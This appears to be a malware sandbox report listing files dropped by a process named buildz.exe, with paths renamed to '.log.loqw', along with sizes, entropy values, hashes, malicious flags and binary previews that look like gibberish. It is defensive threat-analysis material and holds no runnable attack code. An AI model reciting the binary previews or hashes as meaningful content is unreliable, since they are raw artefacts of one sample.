.._`[9..O..K....}A...k.5..Ck..0.=.v..V...[.."..f.p...^...#&{p...XO..\..~.4Ks.....y..L.S.9UPv.b...6ba..v.f`t.......CS.Z..S..-......e8..)..e2Q.W.z...n....b...R.J.w.C..,...~.9....cf.....Lo...U.E.g.O,..2{u"8;5oG...3l.I.B.v..Uy....p..S..q.T$...l.i,k....MS..k.h..l.....J,U.vv..U...F+.}.P..,V~esaN ..."..F.37....d...t...Z.M.@.eYu<......0#\|9#..2..7k.vs...R.N..3.....S..L...tT.o.l\|..7#...O.<..yy&.`d"t/P....F.%.J.8.~.q..%

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258b.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	289976
Entropy (8bit):	6.696286739419112
Encrypted:	false
SSDEEP:	6144:YCYBpVQHOOsIQNpoqO0F3pHNF9gD676u6QzIcGnivkuX0b39/22ZOKyymLe9qDOD:3YBpOHOOsPoqFLaEzIcGnivkuX0b39/3
MD5:	EB2D5497DBDFA1137273F72617D20B1A
SHA1:	1FEDE1B7EA9C22263DC00329094896F9E9CFFBD3
SHA-256:	298D59AFDE7B323A1E766CAE694BB9F52B3A2399C8BC6DD1DB75A41F9E1F7C7C
SHA-512:	DAE65D0075EF2CCF16DF27952068BAE94CE13FFE604E01CCE5FCDF922865D5D09F3F654BA03068B0D71C8DB73615BC73DF70523C103C5565CCE24DA204322F05
Malicious:	false
Reputation:	unknown
Preview:	..T.i.fzN'.h..\|.!.'.....$...s'H;.......9........v#.4..Z.c..D~;..G....D..21.j..C...h$~.C>..1....`..!.....+"n.].:..j..k_..3H...R>b...0Y.U...g...w.Zr@x......27.]....O..:........Sl. ...[......v.V..d...h.EV..Ai....].6..>P.Pl"..x"U>T{c........C!.D!LP._...g[......_=y...p..-.Z...D..17..F...X.....P.......Lp.$d../...l.....x........w..&.p\<T..i1i....@}.^=..O'.hH.u..i.G.......D....R4.vxk.p....w....\|..d..}.....D#..N.F.j'.9...S{w1\|m.A.....k.Q)[:.K...4...H2f..~P.g... ..8..,....AW...h.._..W&~.y-...x...Tv.8.....=..6.]+...........%..7[#T.;.f...p...-,:..x.b..T.B..#....D{.?...[?..iG.....h.......w..a..e.J...w..1Z!..U.l..C.#u(..E.A\|...=5MM...}....f.+...l.,...;.....O..TW....0!....w.@...&.@..-Ym.....+.6G:6=..-O..[.L9.\..O.e@...J.....7.P.k.S..qW.dK.<\....k...O+A...}Qg...Y..;<...qh.....`y.C...`Iy.4.XQ.O...\|#9...d.......4`.a..jZ...t.b7X.:NS...CL...Z0.4.+.L`..<.k....X..T.......J.B..8H.K...].uxQ"n...E~e.iI}.)f.,9....M.b..eU...\|v4G.+7.5..(..K..:.../...^&..A>..

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258c.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	98568
Entropy (8bit):	7.998278629565927
Encrypted:	true
SSDEEP:	3072:Bn/9txafTDM6HSAxLfPFVO2zBVyZWxrFZ:prxaffMoLfLT/yYNFZ
MD5:	47F5D48C79194EBECB044EABB26B3341
SHA1:	41BC7C227CDBE0B31F933D6D01EAC31104156795
SHA-256:	5F572861966BDC5932D8A38E621CEA3D9FD029F72070498A3A504AFA96B96997
SHA-512:	021B42E2897082708EF36821CF12444865D9B8404BBA13E856890260B58F965665D9009CA59E52F0A81B4FFD0C765755B69E7F93DBD6C976CE423971B5B69E2C
Malicious:	true
Reputation:	unknown
Preview:	..T.it[..,wI..Js.l5e......^^.6dt.Bll.x...R.R.O..E>.....9................Ld@.&...E.b{s...Y...~....._fY.O9..@.!..O......#.(.t.Z......]Y.^D.,.G...fVf...[..e.C.....3c..H$..'.Q..a....;......w.&H..)4...$.W...5X....s....Qn...c+49.....-.^...>l..m.]..z....X..<...w..._.bXI...T...o5.sg .e+.Nl.Y.a..~..>.dp.B........sh.Ho..L......g<.o.E.H%.........D.M..^.p=......=.>....W-=..k.n./5G=@.f....T.e..Q..z.y&.k.MJk....-z8..<<F...x....[."..b~).E).....Sj.\.TU....3g.\#`I....O.#....G._...\|.<./..w...@.).:..).B.pQ...\.^t!......~m.+..>..2.s..,R.C.O..4o.$....e.U..h....fv...S.c+..8>.Z'.~..9.0.=..0p...^....L..v...4J1.H-l.Sd..db2[/.ii..}...p?.. ....^.}.....i...l.D.a..,XpG.W...*..8..i8.S.[..%f.._...y..e7.g........]i.-..k.(.6E..n.1..A....o.Lk..Yl..D%.R...;w...<U...@!0Ef..........l.n.Z3.``Q.o.G.7.......~Ni...:....................>..V...w...#+.ehA@=.az.MSY.d...Q..^\|..J.,.K]Y...h.&w..3.....V.(.H......WD.~.S.....2......\...f...j......a..`&....z......I.2.=)S...M......\|.;.P

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1305.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	395914
Entropy (8bit):	6.09939943270388
Encrypted:	false
SSDEEP:	6144:TskHQyXOw4RmJCkzrVrWvaG6dRS9z3PQ3f:oi7n/BKi03Y3f
MD5:	FEDEB399F16768DC673B669391096DF3
SHA1:	75FDD910383844385CE357CFA53308833C944FEE
SHA-256:	7E6E6CDB2914F1E90BA57D94796C8E6561C8356CDFA2032225C7BE1010738A63
SHA-512:	154E6EE2066FDB238B3B9214EC5DC10D32EFB32E16C7B628B563EFA6016E2ABE03A8BD543C03BC7515FAED77FB3674E7C980A110FE95110E98610A44A331C954
Malicious:	false
Reputation:	unknown
Preview:	..T.i..!.^(,.y.3.Qf.I=K.}:........m..8o.....e^....K....#N.g u....<...s/.l.&....C.^]...'...7.%.."'......q{f.m~,.Y.@}.....d..?..v......(C......S.....S4....X....p.2...Z.+....W...8.;... f...fcTE....Xt.K.....Y\|.z.h]Q..y].%....q..3..yAg]...y."...I0.\.=..^...c4p.4..r1.qI..D<.\|A..."..._...s...P....1..f..:W@.T...K.D.t.U.g.E...QR..O.X......hc.\|.HY.%.E\....-...T..K.Y.,....t...w,...C........lN ..<..m..O...\`..To ..h.F ..\|..j....#......nz..DS9}.}u.f...5.!.............J.....zN.......Tze.=..[}.a[.=..y..3.Z..o.`....}Z.2.Q....EN.V..D...#.gv..T.Lj....Z..{7.<.yC.8.y..O7...)z....r..IL\|.$g...K5/........wR.........f.e...WD.0...gTt..A.....D..w).qb..EV...@.x.........B.......d`..<...(.......#..~...b+`.5...3...(..,..Ik......._.)..(....KJj+.w...2.7.......HV.?g....`..2.X..^...X.Z.r.W...yh..%Zw."~r.)....K..r.y...\|.$d.R...!r#...-.T.7..../..~.Bq....M.o....jT......QI.....F.8..'.p.....1...........O....%IBt...^i..a...*$9...R..;.d.V.>J&4Q.N^A....f....

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1309.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.998790957580275
Encrypted:	true
SSDEEP:	3072:mu1G3fBV4Mpoh+xwa3wJay0PBWQFIqxoCK:m6G3wCocxwL0JWQFIqxPK
MD5:	050D6B63AF4457859029C70150E83DEB
SHA1:	C5E0C15BF9E6C186E65B3272E4D63AB6394F7F41
SHA-256:	0733FA8A5B257A218792A05C7DEEE46753A1E1AB491E04AC088809634382AD7C
SHA-512:	25DD1CDDD130233D5B23E4773E655BF0674B68BCC12E1A8F5FCD288722485D89B36AAACA3B3DB969CF6AA68603FA8A8F1FB4A85348A42C25A05FDED35F783651
Malicious:	true
Reputation:	unknown
Preview:	..T.ic.0Y..( .6....BP.v.>.1.......OP.....X..4. W...\|wA.z4.\|.P...K.x.........L5.xG,d..%....[.U2......"/. ..<z.#.+>..9.".-...d..q.X.}.....w...m;...7J.B.#.UQ.oq...{G"5(..=.h..w..T.~u...{......^+.>..{...L../....rj..Vf...uP.S#x..6.p.i`.y.H....B.-..i..%.....kG+...gk.Y.rBQz.@. ..\...z.~.........`.d...]Doa..J..d~.o...A'Z..Q.....# ....^.tU.\|9L..yl7.U..2>0.e.......NL.X...{.:F......+.....1.(.(Bl..DKH1.Hc8Wm(..97........I...7...O..~.>z........Q..-.{h..`.x.AI..............z.E.s. ......Z.s..B.:..&.......'5.\c....z.jR...Q;....e..S..S.$.....f~.t.o.5..\|..b.3u/r9...1.>4:<~.C7..Q.?...c......:.D..2...y..o....8..3A..q..mn.e..`Z..\6....=I.,..>.l%.M...[z%t..y.A...#_..A....s...,..J.c-.........H..Gr~...7.7k.G;.x.m.....k.R....pA..%.A..7.B...4....,.1{.\..V..rz...x.yJ.o...'..(\<....^..ar...K.T.....Q........z.fmB....4.J.j.W..$.X.0.Z...GYf...'...\5O..q.+...g..=-N.].3hA.c..1{.{.>.dE^..s6.6uq..+....f...o..:.G.;..../..KpY*?b;.k."n.#...&..=h....L...E......:...r... G.L......

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	9798
Entropy (8bit):	7.978702101292995
Encrypted:	false
SSDEEP:	192:6Wlo+hPGt7br1AjQ2p75O0XydzN8EPQObu5OT8/+psmjnOFT:6Wi+h4Gh5udzNmOT8/+psYnOd
MD5:	4E1CD48D30900988D89C2CFFC4220231
SHA1:	DBDB6CEDF705018CA0739F9876634F4FD22DD5F7
SHA-256:	5F2A61759E05D32A75DB64BF74EB55A5CEA7392FFE1DADB5A2B400526F3CEAA2
SHA-512:	529080F6AF95243894DB5419B77B26346E880B5022B98BD1E0001596627262979993FE146199F23C523103E988D78C1BC3A788EFCA027784C997754BA8B99AE8
Malicious:	false
Reputation:	unknown
Preview:	..T.i.A..h]..1n9.....C....b.f... .....6.T..o.0.d%.Q4>......v>...@..,CQ.P.El..:p....i.Q...wZ6w..N..r...(W....C.. ...2i%....X....\VL1.$... ..9..]j.r.2..Q.A....(.5.....F.6.....q.g..{...Y.:\|?Ij.X.Ndl.-....9.C..Iz.l.....Re.......Y"eS]...gd.....ZT;...... &.x..][.+u.\|.%6~?...... .m-..<Y.@..Y....=......%.....".'C..;CzH$'..Y....F'-k...6tyea.........Y.......5`D$.9%.....o.p.H....0#.2.h.8.eru.x...)o]....H.....^&..s..9+0...3.....:...e..jV..#^.M.g.$.-@_d.......I.....D.+3Z...I_....U.4.F...2I.+8.N...sQ.7.c.0...dj$.... .\|\|.Iw./I.eZw......)..i..\).....+.9.z.rw.8.D{P.....0EA&...=....lKy....XI.#......"!..(i=.,.9..W.+...._!gW~>L....YE...b.uy]@.x8...<.s\...B~....S..`lYPn.}.....wn....Xi. ...Qv...]...l.P...XC.\(.r......y.<.#i....Uf........Ej.w..y..2;..>.o...._..)DA...q.g..^m5D\.....`/.]..<....\|G.r.E8.:.y...2..9t.KJ/j(),-.9H.[T....:... .8...i3.....$..A..F....a....[..G.O..W.1/S....[]VaY....T...#[..et...N..x.5VP...l..w.].c...rR7[.DD?..w\.l.....V....hnM..z....o

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929a.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	58820
Entropy (8bit):	7.997032602867886
Encrypted:	true
SSDEEP:	1536:KMNnzixpAymCmYYDXxgnTrVxwI1SGncImuGuO2:dNnmxpBVOKTZyI11hxGr2
MD5:	9CD4D7098CC2C7F72A1E8E321A9AB52E
SHA1:	EF87BB5A849A270CA1D1FF9A75AA1246FADF5264
SHA-256:	BED56B04B3154F40376A0C412B55A4EBD2CE8D51C6DA97E5FD5A4493BC991EE6
SHA-512:	A264AF8CA6EAA0CE8D1AAB28566FF7656262720059109D14905D625CA6D3E5ABAD4A8859531C2EB0674B16F6D5AF287CE854F3496AA4CA791F08CABC57DBD7EE
Malicious:	true
Reputation:	unknown
Preview:	..T.iR.8z.v.4T............K...J....k..j.2r...~;.M........sPO...l..t.Vg..d...g.F.....:....c...P.....6....c\..>.{.}'....Y..o.v.Tu..K..I.>X....f...w...u...b...P...=kA.K....B...L..m....e_..G...v=O8.6.).........#'.n..E..K...}..d.nzK...f.D":O....@.Q&j...n.P..!.Z......1.].}.N..]..%v'.....T."Ks......1#...=...<..7x.i...o...l\|..%g.._.\|X..lE...Fy?..N8?...".$..,Q~.,.[.G..#.8."....v.........4..af`..@......rON..2.D.lSt()$.... .^xK.=.(.y....9.`{..3.wX.Q.^,wd..0~.k...V(G..<.i>N...&h-..0....(P.E#....b.q.J.@..W.FH.D^..]..d.[..g.m7.i..l...G...WL,ca@....-.m.h...[.l..:L...P..d.D.$....KN..u........}L.T.sk.=\.....G..WB.:..A/.\|..._i....k...gFY.Q[...Y...... .T...a.Vuq........m.:.My`K.O.W..H:..y..=.H.z.k/Lm.)..2....1f..t..=.....QVkn....fj&2.......{..u.-..`&.gfA.{.E....V..G.../.:.2...\|O.......h...X.<Is...!..b;.;$.>)..XGS.e...O....s.....7!.5 .SH.g.Y!k..9#.-D..#u.zM_.4s..;.........$d..sD'.#..G{.)\|./@.....bC...r.....3g..`..^E.o.;.7<....o.K\.......

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929b.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	112686
Entropy (8bit):	7.998262701725931
Encrypted:	true
SSDEEP:	3072:ysr7lofRp9QRJ1F0LN/60MBqttmNkGC89SS:ysr7lofRHi7F0LNyx4myS
MD5:	848A745E69771481CFDABA9DA0F4E13A
SHA1:	4847A25D7FAF01028287413001972A468E0C7A35
SHA-256:	EF636BFA1C7685E4019926B1629FDD7413E8ACBAF6AC1E267F4B23EDBE9BFBF2
SHA-512:	232F4D6F9A753282A5451A560F38BCF75246CE6C462328FF5093B9EFB131186BD583703A885BCF8C58439BB4381E5F9F6B6327B79C2229F26C7957C836E00BC9
Malicious:	true
Reputation:	unknown
Preview:	..T.io.5..d...v.9....#..rF.6b..N!T.u.....C.q]..F.. ...:t#..F..>.4W..v.,... erG.{..=[QTS..R"A)........[S.._.<T.y'9.Hw....F.....Cl>...-l...q..1k&...$..ER...w..<..8.f#...<.L.m..1..R.9.{...6...L.a.j.I..$ox....?Y..%YS.....9.a"F.....!0........Z}:...k..J..\|......L....6._....tq....0.[..J._.....l.WmM..i.=H..Ngv...\...f...'zx.m...P..q`.._zA.#.....?.......l.$u..c.,....~...d...\|..E......5?.,..-{.k.u.....7..$:SF..m....+7...I..?....y1hh....%.7v..<'0.@........1.%.P2....4.f$."..\.....:+_.-U.fO..j.A..s.!~.B.....gR...(......Z...-Xn..$J...\|..Qs`...._..........U!<.vP.#....v.}.. ..<v......s.6XW.g.......9.......r.s....\|0.QX..+.w.F7........6....\..........>.{..AN.U..4...A....D(..4....m...<.hK.3...=..<L.9....c..<.>.et.9n...e]I....d y.g).........xK"..TF...8\.o..#.D......L...Y.{E*.G.. ._L./T....K.4.&<....N..}..0.bA.....k....9.(....?d../.g.O:Xk..H[.".}....J.k...eB.U.(.m6Y..0=...oDKwm.....FT...3.E.h>\|....R.....0O..........7]k.....9..ut...n+........@.."i.

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929c.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	7696
Entropy (8bit):	7.975221114299122
Encrypted:	false
SSDEEP:	192:ekJfKpkAsu4cYyTNbUQxtpKW2yuq7KYYqKk97n6AfUPbq:vJ+s3NyTN32ybKYYvk97vB
MD5:	2F73007D57835D199261F25BD890DE0A
SHA1:	0ECDF16F654C6C3E2518C7E9A8DC8E2CD159CE8A
SHA-256:	39FD85F5936CBF2FB7D53275CB6AFD96D848C667A16CB3546634AF4317FD5FFA
SHA-512:	ED50D13E715134796A0E2EAD1B66C4C9C04952BFE732FD2DF9052C316B735FBA5B8799623162C2708D208CB1346025A7117BEDD9A68E1067E87F37450D4B65F3
Malicious:	false
Reputation:	unknown
Preview:	..T.iM.....xI...uj.......D...Lpg...g.F.oA...0..>.....XM..c.<.S...yLsYgi..z<..1..dY...ysb?.....h....ex.A..Jv..P...JVl..}.y..Dw..Hn5......CQk.>b.0...+..............pm.Y.i..f......_....'..9.bOZ9o.g...}.."{.....&./,%....I..G.U..F^..kMK.v...U1.......Q.L.....>..B..zR.yR..I...j~.....q...OEp..f..6D.z.....\..~(.L.li83.L.qb..6....am.bW..i.A.....)..EB.p..\.~Sr7.!.G..]b.9.k....`.O.=k[..R..G>wQp....T.Q.T...M...(l\|\.J.C.5.....vmv..Qu'B;..)"....t......R..d.......mJ=`.... H....h.<.<?..@}.~[....`..J...#k..Mc.K....D..^.....o..W..W.:.s.......r......XY.i.e.i.H..8..B.2....(r\...v..;uq\|....c^%...8..D7.....;.....;{..>...@...nl.Z.&.;._Yg-N.B.kH...1.y.>...v../...:........._}..Y..W.......=.@...w.&...W..V1...g+..P...e.%I].WR.%VA..,...%......e......A.N.k.>P....#./..X...0....Z&........j...K.0..~?.1..]..z&-N.L,...bc).[..yr.........V..#..l.^<...A#..c.s......lDVmzI:.u....(s.....~.....R'./U...9..e....\|q ..U..^...)....Y.mS......jO._..#yt[Hk..#.J.;..G...yV).0.oR

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1000.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	40082
Entropy (8bit):	7.995512959505043
Encrypted:	true
SSDEEP:	768:OoI4oB4Ezgf49ZVQBehglvOAC2XYNa27ydB1je3f+OeK:OvhNgfnDFtXYDmdB1jk+G
MD5:	B743768F88D53CF4064F937FDBC77994
SHA1:	6A65941D2F23CB52C918DA5E7CAFCA4669F341CA
SHA-256:	AC8F56F4B4CE121AF621D8724CD6CD8840B420A67BA1997F0709594AD247A5C6
SHA-512:	35EA967003DEECF0D9D524D5C74D6D6054C36DAD6825F449EF431557B9BC229179708F198A5A9215AFCF18937A50F377801420EF1A5B5C5F5A7D659675EEF7C2
Malicious:	true
Reputation:	unknown
Preview:	..T.ii.;=p..w.P{.A.x..K.A.jP...;..#Zc.x./...s..Z.L.3e!.S..=\..bL.4.[..V`...0}....d..\|U/..u...........ys.3Jn........y...i...p\.....E._.D...'......U....bb]G...Y.-...+..........v.\.I....O.'..v.gM.../...77>...\%:......>....$.$..=.r.Q...O@._....Vo..p....8T.v..b.%.HF,...}G.Ys...p]..wk>..q......>...~p.8&L..+....,....sv.iZ..S...P.i4o.AM.....+..2.Q.f....W.\=9..jh.L...8.?.+..N....V....,.t.......-..4..A............$U..\..,...L...F......8...r(4h.}....=...!.......).;..<.:....t..2.4..4..!.d...4g.o.yf.l...l....S<.M.j..2..aU'.A8..g..J1...v............t.......f[....Z...\|fA.W.D.v......?S.Bz.x.v..sv..j.xj-..L..wJ.Nq...v.i.Jy..\|I..+.k......@.;....4...H.>.....u%K!?8.:...D.b...Z4+....NZr..]..M..\|...B..{}E.B-.m.."...Z.E{.T...........iY..?l.L.Y+R....Q.,.~cD;..l.P..:...g#.a...7N..I. .x..2.1.<0B3J....YP+.}.+......^u..\|q.R....M.e....6t...k$..>.mUb5...Y,q..X7>.gi.AM9.b}.dB......?7.yt...Y.....w....S..5@c/.beNJ..Z.J.I..a...w..o.K...............'..Y.w...

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1051.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	18522
Entropy (8bit):	7.989948596127813
Encrypted:	false
SSDEEP:	384:Lc+cf7NjI4VSNOKGzMs81LatWPdwngQT1PhRJdvPR:Lc+cfJI40N6JuLIn3T/LBZ
MD5:	222FC872A83ACFFBE4E4CFB07A32C52A
SHA1:	D993FAA1CCA983154A558A14B6A14B3C89CA27DE
SHA-256:	4568514F7587243B9B37538F0DF8E2B6B65ED92FE8A037393B6A56341DDEA3A5
SHA-512:	5923060E634C63A283EBA98F9ABD3D602D0760980ADA5CFBDAF47020CC7404D1B470DBEAD919F3E0B1986051D492172312C2D7A2A11F4B5E51BCFDCE28745A2E
Malicious:	false
Reputation:	unknown
Preview:	..T.i......3-..A...Hr....Y.Z,.oh......Z..#. .I&..[..'.M....wz!]Hd.5.h.V.,.m2.i.Or..jj.....V..Y_.: -....A.?.\..B.:=r.YU.(..u/.y...B..~.L.....m.7.rbFR.r..WD.70.~Ul..7...[..xn .n._..R.&.z..."9.l..an...}\|.. .8....J.h.c{.P78h.Q.D.....,.:z.K./...{v7S......0..LQ....$..x....~.....}..\|.".nX..>m;......4..,%.k..V<..:+YO..f......Am..._.0'..u....c\|...]Sd...I/5..._DFN...........".T,<..Ng...uR.{...FRQD.jy.k...#......l..F.P.......l.tj.M}.......+jk.IE7.K....;jNf.0.....e.B{.....c.......?.\|....Z.+\|.K..-d.r........`.\|.5h..}...u..Y%R.u.<.,)l..n.e..I.?.\.B..x.r.....7.[;..;rm..`..Y...!.....gR.8..........i...%..............o......U?9...k...9..~w..V......&C..=....[ge#.^.Q.EI...1...#{.Bh.T..T.~..d.....=....8!....0...[o...R...0.....@xx..B......7...@./.>.\........\ V...G.I\|.....k..`.[.'b.S..u?.8..~.{3.Nh{A].8..q..}n.mZ...T,..`...+...2+/.U...f..H<.l{.....\|..i.5yo....'Nd....e.3.>,..}...&*.K.qcA..+.~...rG..vo...-.}%......t..y.......k0.i....n...p..=..B.y....

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1051a.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	96078
Entropy (8bit):	7.9981632910865885
Encrypted:	true
SSDEEP:	1536:FjSQUCLMVa2uSgPkGaoSWYGvNqMoPSBSmfSRXUCGAnfZt8qqZ9vRPZNgO2cIE38F:FjUCLMVyV+qSm5ERDqZdSfcIE38F
MD5:	4CFFE34C9258376359CFA6CC3B2C4D12
SHA1:	864FBA93FEF9D06FC50CDE422A977487A7A473BD
SHA-256:	9F1A65F12E54F01FB84E1F28ADD7E3AE867FEE9F70C0898D0D036ED55B410C0F
SHA-512:	F8502F978A4E888DD03AA2B90874F5685E922CE550CE3721A7673EFE359DE2923808F33B90DCDFF2205243FEDB5F8854D7C7D16487B008AFCA33F2D1777214CC
Malicious:	true
Reputation:	unknown
Preview:	..T.iB.\|.;.=.%..?.......a.......n$.4.U._..........~.....O.$..7.6?.N.@.}...8B&.c.....l...g2..a..k...U.].P..._..A1%.7x.;......vG\Y...=#/.Pv..t\..k.9.va.+E..P..`.3B".D......^ .....-k..o .~KP.so....dvxV.I..o....AX9$.Xc..,T.Gy....=v[;......-....J..P....<..3..Sskt......V..!..k....u....Z.i......./..ML.r.C.....5Fg{.0v"...5 ..K8."....('.0G...^..U5..')....A..My~.7....3.U..E..y.....F..vu...p...cV........E#.+.~.....\|....S.......x.....L=S.5.H.L....)e..&?.a.~..@1j.<...C..m.1....,.W.....l!.>.zs.]R.......[.0[...2.).~y,T.X.....;....,..J....0.p.5F;M..!.i.$M.`r..\\|..l..$j.RG...N.?C`..3.QiQ.Z..............Y......1\|...v.....m!_.8......_/..fW...<...e6..V...K.j..'..4......`....0..1.....`......T...4.)<=..~ ..v..........w.=..`7.S'M9..:'..A..%<#.......U!E.@....n..7.e~!\....$":....@'...A../.].H_.....s.Y..Q.1.3...g......,....5R?..<{...0r.[.h!..C.g...../3.5='.8.%..j6>...8...C..#.......V:........Z..2..a.Y..jB..=-.Z.......O.P...EcC.:...B.l...)..r...`..z{..M

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1051b.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	318854
Entropy (8bit):	6.505596252982785
Encrypted:	false
SSDEEP:	6144:UkvulD3AW0VmiSGwzz9Kgycm9BOzG4axarao0XsGH96e2jyrEQ1xyJmc7cuVfuhg:YAW0XS7pKgycm9BO/0XsGH96e2jyrEQu
MD5:	42FEA4869CB2AC3E5CB3807436754E7B
SHA1:	7B916C3DEBD990FC556BBC3B3A163F4647F1E467
SHA-256:	37378ACFCED37A0F2A94B79C1BEFC7080704A456F62F3B6B0E859DECD57F0FF9
SHA-512:	861B08D0DFDD61DD35723AB82C01A55E0BD5BB042F124D36907D201FE791C264CF15131F4BDF4D61207DAFEDBE43F003262CE9B7FC68C184C1EE28F4EE0565D4
Malicious:	false
Reputation:	unknown
Preview:	..T.iL....#...K..@......8].........?.6....q5..(.+......z.+...Q.b.+..g..,37y.r..vp?^...F...b?.q...@.z.y.D.z...Ko..../..I#...[..O..e8...y.~+.D..b..\......e.3.f.../.z......im..+x.....l@.Q.Y..{...... 2..G.M.. .......\.5.H..\|.;O....n.3..6&.....'.2.4"S...^q.AF[.be.&..X....e^..>.hV.j.)..."H.eR.....?..f.\fv...W.../......5,._...u....).............tW..RC*~"0..9!%..ST.S..S..sEX{......-.K.[...Xx..q..T.c.AoE.JnuX.L...l$.I.w.s..b...._.......t...o...Q..T+!4=...3.i..t...h......[h.n.J..%..V...M.....h....:..<.T..p...Y..TKi.M..Jg..o...K......Ky.).s.>.L.>....$..bC.....q....3I./`;.$m.s.u...%..X.....g...~.).\|?..E.MG.t&H..!....R..2E..[z.6.e...@.xc.[.8.R.,....A.<..d......nA..~..\|....M..-.....W-..9.....Mh..H>,.F.xB.v`...D].....@4W3~?.d..Rh.>..]....i.G.Ms.u.8.].'......s..&d.......n=...4B..~...-..Q.z.......$.L{.H..5.+...}..C...F.!...N...!.T...<....`0.N......f{'..G....P...L..A........O..G.;..rf.E=..#......b......%cS.]X..U....}M..Y.v..!.[.7.H.H.CX.l..5.<.oS....u......._s.6

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1051c.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	159516
Entropy (8bit):	7.968938987325958
Encrypted:	false
SSDEEP:	3072:4iT/Ukaa0Am/N+qtPkNCck2vDDoEvt0gnXjBRT9vwmkkj6cLzDjdF://LaBF/oLNeEl0gjTpwmkkj6cLzDjdF
MD5:	AA1DE21202F9E40D2FBEBD1CE94C9093
SHA1:	ACCA9CC77D6A5638EBEB9675102F37DD8A07B998
SHA-256:	65D2F89528F784B2AB96B54DE15B100437524B29C9DDB293F7F121A6F79C4AA7
SHA-512:	85BF9EE83CA74DD43D067C8C4A2D24442C3BBEA2ABCB3FABBADC393A21B5200666E93F06AC9303B278C5DA2EFE69E812B00005CD7EAE9BB2D0A175E30F5ECC8B
Malicious:	false
Reputation:	unknown
Preview:	..T.i.s....f.^.X.:C\c.7...p....=..g).m....r.f?6.1.i.&.m.8.<.f-.O.RrEGI.}v.......#..I.t.f..g...@Q . .b..W..{.o..A.......0..8L2U....<.s....a..].]BS...F...R.&Z.R...!.V...">G6c6.G.M.T........v..K.a?`3.c....M4.k...8H....N..Q.6W.N....x...xT..-w....M..P.f..M....}:.R..-.j(.V.\.?Ai..:DjZ.0s.Q...3...0..?/....9U.{P...x..M...M.aU.X4iD...apM.....A.6a.hSR...s..-P..zYs2....C.......yy.Z.i.Ej.........2?...Uo..wg..a.{.HU...\i.d..@...v.y.{..(E3^.......EB....L...E...<.~,......]...%].(c..=O..Q....-..W..Rl.j..XD.......S.c..E.....A.~d...p.\|....(d.v...zpm,._j._.). ..K.....:..q-e.r/.f..6:uEM.#....M8 ._P..v../4??}4!._..M..}..m....G!...U.7..N..0+......@#...2T...j".g...R..I+.........X0l..wF.....R..R.!M........gRY\|?...L>....@f.%.DKC.:.....B...W....K9..}.....d.^..`>1>..CRKZ%G.w.:r".~.K.f...y.S...7...... ....VO(.an.&.......&.W7........g..5W...B...v........V...?(Sw.\.t.....`7..K{TG....+L....4.`).].5U!.~.J..\|v....S>..c.n.gy[.&.[......}....7..^..N..c....v...

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1055.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	191166
Entropy (8bit):	7.602124554546673
Encrypted:	false
SSDEEP:	3072:cpSmblQA8EQVUJjetvdSRC9LHY5Z5vrPLjzBfmWLE+ZfpNBqpijamtjG/zLmeIDW:cP5QA8E7ehACJ457f1mWLE+ZfpNBqpi+
MD5:	B750BC6D214E252B810F68E4D2FFAA3A
SHA1:	4E37B619BB4FD5D1483939AE9DFB0A1F19B1FDAF
SHA-256:	C88FEA6F41C79555EB8E63A902CEAC0C3F8095D213ACAF30E82A95A4751D4F08
SHA-512:	31A9A087F549EAB4A285346503B590CE20137899C60CA70672988F2451626D3D65D3507786D9FAD6BA66245116A8858E09361AD1DD80EE5D7728DEA42F9D1964
Malicious:	false
Reputation:	unknown
